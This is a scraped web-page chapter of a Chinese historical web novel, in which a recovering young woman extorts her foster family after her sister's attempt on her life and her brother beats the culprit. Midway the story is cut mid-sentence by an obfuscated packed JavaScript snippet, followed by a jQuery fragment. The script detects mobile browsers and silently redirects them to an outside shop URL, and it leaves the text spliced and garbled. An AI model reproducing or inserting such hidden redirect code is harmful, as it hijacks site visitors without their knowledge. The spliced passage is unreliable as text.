默认冷灰
24号文字
方正启体

5. 这两人从小闹到大,今日终于将赵家的屋顶掀……

作者:宵雀本书字数:K更新时间:
    赵意如认出这位就是赵娘子的兄长,在梦中,赵三娘跟他不甚亲近,这位长兄大她十岁有余,性情沉默少言,平日里不是在家做活就是出门做活,极少顾及家中琐事,自赵父身故后,养母陈氏愈发倚重长子,赵意如知道眼下这位兄长是家中真正当家做主之人。


    对于新的人生剧本,赵意如虽还没有具体的规划,但了结赵娘子与赵家从前的恩怨势必是她要迈出的第一步,赵意如思量了几回,心中起了个念头,偏头朝赵理缓缓露出一个笑。


    赵理鲜少见她的笑颜,自祖母身故以后三娘的脸上只剩下漠然与悲戚,可此时这带着病容的笑让赵理觉得后脊生凉,他忙错开视线,一时不敢再去看她。


    老郎中诊了一会儿脉,又去瞧了瞧赵意如的面色,罢了给周婆婆递去一个眼神,对着赵大郎言语含糊道:“没有什么内伤,再吃几日药就无事了。”


    周浔走前已然交代过,不要对任何人透露赵娘子曾中毒一事,因而即便眼前这个人是赵娘子的兄长,蒲老也不曾漏一丝口风。


    赵意如对原身中毒之事自然也是一无所知,她此时最大的感受就是喉咙里像是被什么东西堵着,一呼一吸间都带着绵密的疼。


    她指指自己的脖子,又指指自己的嘴,周婆婆会意:“你脖颈处受外力压迫,这几日会吞咽困难,也暂时没法言语,尚且不知你的气管是否受损,因而身边离不得人。”


    周婆婆说完转身从柜子里取了个铃铛过来,塞到她手里:“赵娘子,有事你就使劲摇晃这铃铛。”


    赵理在旁听闻她暂时不能说话悄悄松了口气,然而这口气还没落回肚子里,不过片刻,赵意如又把他的心从腔子里提溜了出来。


    蒲老和周婆婆交代赵理几句如何照料就出去了,此时屋子里只剩下兄妹二人,知晓她口不能言,赵理便也没跟她搭话,只温吞吞小声嘱咐了句:“三娘你再睡下歇息歇息”,就兀自坐在一边出神,却不成想赵意如却撑着床缓缓坐起身来。


    赵理见她小心翼翼扶着床柱站了一会,待身形稳固后慢慢走到桌子边,桌上有郎中写药方时留下的纸笔尚未收走,他见赵意如执笔在纸上写着什么。


    赵理心中疑惑:“三娘,你要做什么?”


    赵意如手上擦伤还疼着,她捏着笔勉力书写,不过片刻就将宣纸递给赵理,赵理接过一瞧,霎时间只觉脑中炸了个霹雳。


    果然!三娘的死和四娘有关!


    赵意如见他眼睛黏在纸上,仿若被施了定身咒,料他是看清楚了纸上的字,便也不等他回神,将那张纸又抽了回来胡乱团了几下,丢进床边的痰盂里。


    赵理像不认识赵意如一样对她投来一个陌生的眼神,赵意如冲他伸手先比划了二,又伸出一指变作三。


    “四娘杀我,三日内,二百两换赵家诸人平安。”


    三日内,二百两。


    赵理只觉胸腔里烧起一股火来,将方才出的冷汗蒸腾成了冲天的怒气:这两人从小闹到大,今日终于将赵家的屋顶掀翻了。


    他闭了闭眼,半晌才道:“赵家养你一场,总归是有恩于你,你......”


    他话刚说一半,外面突然有人敲门:“洛阳县尉杜大人在外堂传赵家大郎与赵娘子问话!”


    赵理倏地将未尽之言悉数咽进肚子里,噎的浑身颤-栗。


    是了,三娘受恩不报顶多是被人骂几句“白眼狼”,四娘害人性命即便有再大的苦衷都是罪责难逃,还有他们的娘,如今看来也是帮凶,他们一家万万不可牵扯官司!


    他赶忙拦住作势要开门的赵意如,低声快速道:“一切依你,三娘,阿兄求你念在祖母的恩情上莫要张扬出去!”


    赵意如后撤一步点点头,示意他先出去,赵理开了房门,跟着衙役往外走,行了几步悄然回头,再次给赵意如投去一个恳求的眼神。


    赵意如垂下头,反思自己是不是要少了。


    杜玮知道赵三娘子此刻还不能言语,瞧见兄妹二人一前一后走进来,他眼神在赵意如身上打了个转,连她长相都没瞧清,就见这位小娘子瑟缩了下身子,藏在兄长身后,一副惊恐不已的摸样,便将目光投到赵理身上。


    赵理垂着眼等候县尉问话,赵意如方才写的那句话,像悬在他头顶上一把随时掉落的利刃,恐惧让他头皮发麻,心中擂鼓,他极力克制着自己的身形,心中不敢再对赵意如有丝毫的埋怨,只盼她能念在往日的情分上保持沉默,即便他知道赵家除了祖母,其余人对她的情分比那张草纸厚不了多少。


    真是恩到用时方恨少。


    好在这位杜县尉的问题不比昨日那位眼熟的大人复杂多少,赵理依言应答,与昨日所说一般无二,这位大人在三娘的“死因”上也没有过多问询,只是多次感慨她有真神护佑,才至死而重生,就连一旁的赵意如也没有作出状告之举。


    赵理悄悄将手心里的汗在袖里擦干,暗暗发誓再也不要受这种折磨,回去就想办法将三娘的要求达成。


    杜玮走后,赵理这才觉得自己能喘气了,不顾周婆婆指责的目光将赵意如托付给她照料,匆忙回家去了。


    赵意如便安心呆在医馆养伤,一切只等三日后再说。


    赵理走的脚底冒火星子,到家时恰好听见二郎正苦口婆心的劝他娘陈氏:“阿娘,四娘躺在屋里傻了一样不言语,你若再不说实话,这事我们兄弟也不管了,眼下三娘在医馆被官差守着,等她醒了你们就等着官差上门拿人吧!”


    说完扭过头去,见兄长也回来了,忙迎过去:“大哥,你怎么回来了,三娘如何了?”


    陈氏刚还趴在床头哭,闻言也直起身子,连眼泪都忘了擦,直直看着赵理,生怕他带来什么不好的消息,赵理这一路原走地心内焦灼,口干舌-燥,此时见陈氏如此情状,于是十分的火气被一把鼻涕眼泪浇息了五分。


    他无奈地闭了闭眼,压下剩余的怒气:“阿娘,三娘已经醒了,她什么都告诉我了。”


    陈氏脑中嗡嗡了一瞬,等她返过神来猛地扑到赵理身上哀嚎:“大郎,这不关四娘的事,都是我的错,娘去给她偿命....”


    赵濂一听这话,哪里还不明白,平日里四娘与三娘争些胭脂水粉、衣衫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024902|194353||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    点心,阿娘偏心也罢了,如今闹出人命…赵濂甚至不敢想后果,他冲出门,拿起屋檐下捣衣的棒槌,径直往罪魁祸首屋里去了。


    陈氏想奔出去拦,被赵理一把拉住,“阿娘,四娘惹下此等祸事,合该挨个教训!”


    陈氏兀自呜呜咽咽,也不理他,只拖着身子要往外走,赵理见状松开她,压着声音冷冷道:“阿娘,你忘了我们如何才来的洛阳了么?你还要再袒护她,是要将全家都往死路上送吗?”


    这一句话将陈氏拦在门槛内,她惊恐地回过头,见长子一脸沉重地看着自己,陈氏当即面色惨白,猛然想起的往事像一柄猝不及防袭来的榔头,重重将她敲坐在地上。


    这厢,赵濂不顾礼仪地冲进四娘和五娘的屋里,把屋里的孙氏和五娘赵蓁吓了一跳,赵燕娘靠坐在床头,呆呆地看着他。


    见长嫂孙氏在此,赵濂回了些理智:“请阿嫂去正屋服侍阿娘,我有话要同四娘说。”


    孙氏见他面色难看,瞧了一眼发怔的四娘,默默拉着五娘出去了。


    赵濂将屋门关好,他握了握手中的棍棒,咬着牙质问:“我再问你最后一次,三娘的事是不是你做下的!”


    赵四娘看了眼他手中的棒子,突然冷笑了一声:“二哥这会子又做起判官来了,平日里也没见你对她好到哪里,你几次三番想赶她出去,别以为我不知道你的心思....”


    赵濂不妨她事到如今还要给自己造谣,厉声呵斥:“住口!”


    说完想起自家正处在风暴的正中,四邻都或明或暗的在留意他家的举动,便压低声音:“你不敬兄长,不睦姊妹,今日我就替爹好好教训教训你这个不知天高地厚的不孝女!”


    说完他拿绢帕堵了赵燕娘的嘴,将她拖到地上,狠狠在她脊背和腿上捶了十数下。


    赵燕娘素来娇生惯养,平日里油皮破了一块都要找她娘去哭一场,何曾挨过此等刑罚?羞恼和疼痛使她昏了过去。


    赵濂虽然怒火中烧,但手中有数,并没照死里打,顶多让她吃几日的苦头,待打完将棍子一丢,看也不看躺在地上的妹妹,头也不回地走了。


    陈氏回过神后跌跌撞撞地跑到赵燕娘那里,见女儿被打昏在地,她哭着将人抱到床上,口中不住叫唤:“四娘你醒醒啊,儿啊你别吓娘,快醒醒.....”


    赵燕娘其实没一会就醒了,只是此时她不想面对这一切,方才挨打痛到极致时,竟有一瞬盼着自己死在二哥的棍棒下一了百了。


    陈氏见怎么都唤不醒女儿,冲到次子跟前给了他一巴掌,骂道:“黑心肝的逆子,她可是你的亲妹妹,你是要打死她才甘心么!”


    不明所以的赵五娘早就吓得躲在嫂子身后,娘和兄长她哪个都不敢劝,也不敢去屋里瞧她四姐姐,怕真个被打死了。


    孙氏隐隐猜到个中缘由,暗骂四娘真真是个不省心的玩意儿,全然不想自己平日里的挑唆。


    赵理见再闹下去真要惊动四邻就不好收场了,给了孙氏一个眼神,两人一左一右将陈氏架去里屋,却把五娘往外赶:“五娘,你去看着些你四姐。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)